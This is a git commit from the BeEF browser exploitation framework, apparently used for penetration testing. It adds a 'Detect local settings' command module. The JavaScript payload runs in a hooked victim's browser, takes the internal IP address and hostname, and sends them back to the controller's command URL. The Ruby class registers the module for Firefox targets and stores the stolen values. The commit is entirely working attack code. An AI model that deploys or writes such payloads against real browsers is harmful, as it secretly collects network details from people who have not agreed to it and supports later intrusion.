adding the detect local settings command and fixing the functions to build beefjs for components

git-svn-id: https://beef.googlecode.com/svn/trunk@544 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
mosse.benjamin
2010-11-18 01:18:17 +00:00
parent 526a3201c6
commit 1a016ca41d
2 changed files with 48 additions and 0 deletions

View File

@@ -0,0 +1,10 @@
beef.execute(function() {
var internal_ip = beef.net.local.getLocalAddress();
var internal_hostname = beef.net.local.getLocalHostname();
if(internal_ip && internal_hostname) {
beef.net.sendback('<%= @command_url %>', <%= @command_id %>,
'internal_ip='+internal_ip+'&internal_hostname='+escape(internal_hostname));
}
});

View File

@@ -0,0 +1,38 @@
module BeEF
module Modules
module Commands
class Detect_local_settings < BeEF::Command
def initialize
super({
'Name' => 'Detect local settings',
'Description' => 'Grab the local network settings (i.e internal ip address)',
'Category' => 'Network',
'Author' => ['pdp', 'wade', 'bm'],
'File' => __FILE__,
'Target' => {
'browser_name' => BeEF::Constants::Browsers::FF
}
})
use 'beef.net.local'
use_template!
end
def callback
content = {}
content['internal ip'] = @datastore['internal_ip'] if not @datastore['internal_ip'].nil?
content['internal hostname'] = @datastore['internal_hostname'] if not @datastore['internal_hostname'].nil?
content['fail'] = 'could not grab local network settings' if content.empty?
save content
end
end
end
end
end